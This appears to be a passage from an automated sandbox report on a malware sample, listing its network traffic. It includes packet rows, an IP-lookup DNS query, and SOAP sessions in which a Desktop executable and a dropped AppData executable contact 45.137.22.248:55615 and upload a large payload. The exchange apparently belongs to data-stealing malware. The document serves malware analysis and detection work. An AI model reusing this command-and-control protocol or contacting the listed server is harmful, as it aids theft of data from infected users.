Nov 4, 2024 04:32:25.706142902 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706154108 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706161976 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706171036 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706180096 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706188917 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706197977 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706265926 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706275940 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706283092 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706293106 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706300974 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706310987 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706319094 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706329107 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706337929 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706392050 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706402063 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706409931 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706418991 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706427097 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706435919 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706444025 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706482887 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706491947 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706501961 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706511021 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706518888 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706527948 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706536055 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706547022 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706563950 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706574917 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706583023 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706592083 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706607103 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706615925 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706624031 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706631899 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706648111 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706657887 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706698895 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706707954 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706724882 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706733942 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706782103 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706790924 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706819057 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706829071 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706840038 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706895113 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706903934 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.706912041 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707036018 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707045078 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707052946 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707062006 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707071066 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707087994 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707097054 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707106113 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707123041 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707130909 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707164049 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707173109 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707201004 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707210064 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707217932 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707293987 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707303047 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707309961 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707335949 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707345009 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707355022 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707364082 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707407951 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707417011 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707490921 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707500935 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707516909 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707525969 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707560062 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707623959 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707633972 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707643032 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707709074 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707717896 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707772970 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707791090 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707799911 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707809925 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707817078 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707910061 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707918882 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707926989 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707936049 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707945108 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707953930 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707962990 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707972050 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707981110 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.707988977 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708004951 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708014965 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708030939 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708034992 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708091974 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708101034 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708116055 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708123922 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708180904 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708189964 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708218098 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708226919 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708267927 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708276987 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708286047 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708323002 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708333969 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708364010 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708373070 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708380938 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708395958 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708405018 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708535910 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708544970 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708554983 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708564043 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708570957 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708580971 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708589077 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708597898 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708606005 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708614111 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708627939 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708636999 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708643913 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708652973 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708662033 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708668947 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708679914 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708688974 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708776951 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708786011 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708794117 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708802938 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708811045 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708821058 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708828926 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708837986 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708901882 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708910942 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708919048 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708928108 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708935976 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708944082 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708951950 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708961010 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708969116 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.708977938 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709029913 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709039927 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709048033 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709057093 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709064960 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709074020 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709081888 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709090948 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709100008 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709108114 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709155083 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709163904 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709172010 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709182024 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709201097 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709281921 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709291935 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709300995 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709372044 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709381104 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709422112 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709491968 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709613085 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709621906 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709638119 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709645987 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709719896 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709728956 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709774017 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709783077 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709793091 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709870100 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709913969 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.709923029 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.710084915 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.710294008 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.710460901 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.710576057 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.710817099 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.711013079 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.711149931 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.711348057 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.711549997 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.711724043 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.721792936 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:26.085789919 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:26.097728014 CET	49837	55615	192.168.2.6	45.137.22.248

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 04:32:10.253213882 CET	58974	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 4, 2024 04:32:10.253213882 CET	192.168.2.6	1.1.1.1	0x6826	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 4, 2024 04:32:10.260335922 CET	1.1.1.1	192.168.2.6	0x6826	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

45.137.22.248:55615

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49718	45.137.22.248	55615	6724	C:\Users\user\Desktop\I5pvP0CU6M.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 04:32:03.811441898 CET	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 45.137.22.248:55615 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Nov 4, 2024 04:32:04.621860027 CET	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Nov 2024 03:32:03 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Nov 4, 2024 04:32:09.769223928 CET	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 45.137.22.248:55615 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Nov 4, 2024 04:32:10.039082050 CET	1236	IN	HTTP/1.1 200 OK Content-Length: 8064 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Nov 2024 03:32:08 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>139.186.206.86</b:string><b:string>112.244.133.106</b:string><b:string>113.100.145.59</b:string><b:string>14.19.28.125</b:string><b:string>36.143.61.93</b:string><b:string>120.229.169.226</b:string><b:string>27.214.63.21</b:string><b:string>125.94.23.107</b:string><b:string>114.95.213.233</b:string><b:string>219.137.198.172</b:string><b:string>84.57.190.182</b:string><b:string>113.78.94.204</b:string><b:string>125.123.233.96</b:string><b:string>113.68.110.168</b:string><b:string>172.174.62.166</b:string><b:string>103.149.33.156</b:string><b:string>121.226.48.220</b:string><b:string>14.221.49. [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49777	45.137.22.248	55615	6724	C:\Users\user\Desktop\I5pvP0CU6M.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 04:32:13.528331041 CET	221	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 45.137.22.248:55615 Content-Length: 960380 Expect: 100-continue Accept-Encoding: gzip, deflate
Nov 4, 2024 04:32:15.493941069 CET	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Nov 2024 03:32:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Nov 4, 2024 04:32:15.497076988 CET	217	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 45.137.22.248:55615 Content-Length: 960372 Expect: 100-continue Accept-Encoding: gzip, deflate
Nov 4, 2024 04:32:15.905955076 CET	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Nov 2024 03:32:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49784	45.137.22.248	55615	7568	C:\Users\user\AppData\Roaming\VcihjWRO.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 04:32:14.330665112 CET	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 45.137.22.248:55615 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Nov 4, 2024 04:32:15.172902107 CET	25	IN	HTTP/1.1 100 Continue
